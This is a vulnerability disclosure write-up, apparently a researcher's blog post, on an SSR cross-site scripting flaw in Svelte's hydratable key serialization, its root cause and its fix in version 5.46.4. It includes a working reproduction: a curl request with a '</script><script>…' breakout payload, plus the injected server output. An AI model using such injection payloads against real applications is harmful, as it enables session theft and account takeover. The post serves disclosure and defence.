799 words
4 minutes
CVE-2025-15265: Svelte Hydratable Key SSR XSS - Lydian

TL;DR#

Svelte 5.46.0 through 5.46.3 shipped an SSR XSS in the async hydration pipeline. If an application enabled experimental.async: true and passed attacker-controlled input as the first argument to hydratable(key, fn), Svelte serialized that key into a server-rendered <script> block with JSON.stringify(k). Because that output was not HTML-safe for a <script> context, an attacker could inject </script><script>... and execute arbitrary JavaScript in the victim’s browser.

The issue was assigned CVE-2025-15265, publicly disclosed on January 15, 2026, and fixed in [email protected].


Why This Matters#

The bug is subtle because the data is encoded as a JavaScript string, which looks safe at first glance. The problem is that HTML parsing rules win before JavaScript string parsing does. Inside a <script> tag, a literal </script> closes the tag even if it appears inside quotes.

That means this:

JSON.stringify("</script><script>alert(1)</script>")

is valid JavaScript string data, but it is still unsafe to embed directly into HTML script content.


The Vulnerable Code Path#

The affected sink lived in Svelte’s server renderer:

packages/svelte/src/internal/server/renderer.js
entries.push(`[${JSON.stringify(k)},${v.serialized}]`);

That value was later embedded into an inline <script> block in the SSR response to populate window.__svelte.h.

If k contained attacker-controlled input like </script><script>globalThis.__xss = true</script>, the browser treated it as a real closing tag and executed the injected script.


Reproducing The Bug#

I built a minimal SvelteKit application with async SSR enabled and a route that forwards a query parameter into hydratable.

src/routes/+page.server.js
export function load({ url }) {
return {
key: url.searchParams.get('k') ?? 'safe-key'
};
}
src/routes/+page.svelte
<script>
import { hydratable } from 'svelte';
const { data } = $props();
const value = await hydratable(data.key, () => Promise.resolve('ok'));
</script>
<div>{value}</div>

With [email protected], the following request reproduces the issue:

Terminal window
curl --globoff \
'http://127.0.0.1:4173/?k=%3C/script%3E%3Cscript%3EglobalThis.__xss%20%3D%20true%3C/script%3E'

The server responds with HTML containing this inline head script:

<script>
{
const r = (v) => Promise.resolve(v);
const h = (window.__svelte ??= {}).h ??= new Map();
for (const [k, v] of [
["</script><script>globalThis.__xss = true</script>",r("ok")]
]) {
h.set(k, v);
}
}
</script>

At that point the browser sees a closing </script> tag, exits the original block, and runs the injected payload.


Conditions Required For Exploitation#

Not every Svelte application was affected. The vulnerable path required all of the following:

  1. The app used Svelte >=5.46.0 and <=5.46.3.
  2. Async SSR was enabled with experimental.async: true.
  3. The app used hydratable(key, fn).
  4. The key could be influenced by untrusted input.

In practice, this is realistic in apps that derive hydration keys from route params, query params, tenant identifiers, or helper functions that wrap hydratable without validating the key.


Root Cause#

This was a context mismatch bug.

  • JSON.stringify is fine for building JavaScript string literals.
  • It is not enough when the serialized value is injected into raw HTML inside a <script> element.
  • The HTML parser does not care that </script> appears inside a quoted JavaScript string.

Svelte already handled hydratable values safely, but the key path used a weaker serializer than the value path.


The Fix In 5.46.4#

The 5.46.4 patch is small, but it is very deliberate. Upstream changed the serializer used for hydratable keys:

import * as devalue from 'devalue';
// before
entries.push(`[${JSON.stringify(k)},${v.serialized}]`);
// after
entries.push(`[${devalue.uneval(k)},${v.serialized}]`);

That change matters because devalue.uneval does more than stringify data. It emits a JavaScript expression that is safe to embed inside inline script content, escaping characters that are dangerous in that context, especially <.

For the malicious payload:

const payload = "</script><script>globalThis.__xss = true</script>";

the vulnerable serializer produced:

JSON.stringify(payload)
// => "</script><script>globalThis.__xss = true</script>"

while the patched serializer produces:

devalue.uneval(payload)
// => "\u003C/script>\u003Cscript>globalThis.__xss = true\u003C/script>"

This is the key detail. The browser’s HTML parser only breaks out of a <script> element when it sees a literal < starting </script>. After the patch, there is no literal < in the serialized key anymore, only \u003C, so the parser never terminates the surrounding script block early.

Once the script executes, JavaScript interprets \u003C as <, so the application still gets the original string value as the map key. In other words, the patch preserves behavior while removing the HTML parsing hazard.

This also explains why the fix is better than a narrow one-off replacement. Instead of escaping only one payload pattern, Svelte switched to a serializer designed for JavaScript source generation in inline scripts. That aligns the key path with the safer serialization approach already used elsewhere in the hydration pipeline.

The release also added a regression test under packages/svelte/tests/runtime-runes/samples/hydratable-script-escape/. The test uses a payload containing:

'</script><script>throw new Error("pwned")</script>'

If the old behavior were still present, the injected script would execute during hydration and the test would fail immediately. After the patch, the payload remains inert data inside the generated script, so hydration completes normally.


Impact#

This is an SSR XSS, so exploitation happens in the browser of whoever loads the vulnerable page. A successful payload can lead to:

  • session theft
  • DOM tampering
  • authenticated actions through injected JavaScript
  • account compromise, depending on the application’s session model

The public advisory rates the issue 5.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N).


Timeline#

  • December 27, 2025: Vulnerability discovered
  • December 29, 2025: Vendor contacted
  • January 5, 2026: Vendor replied and confirmed the issue
  • January 15, 2026: Fix released in [email protected]
  • January 15, 2026: Public disclosure and CVE-2025-15265

References#

  1. Fluid Attacks advisory: Lydian
  2. GitHub advisory: GHSA-6738-r8g5-qwp3
  3. Svelte release 5.46.4
  4. Svelte repository
CVE-2025-15265: Svelte Hydratable Key SSR XSS - Lydian
http://caverav.cl/posts/svelte-hydratable-xss/svelte-hydratable-xss/
Author
Camilo Vera
Published at
2026-03-17
License
CC BY-NC-SA 4.0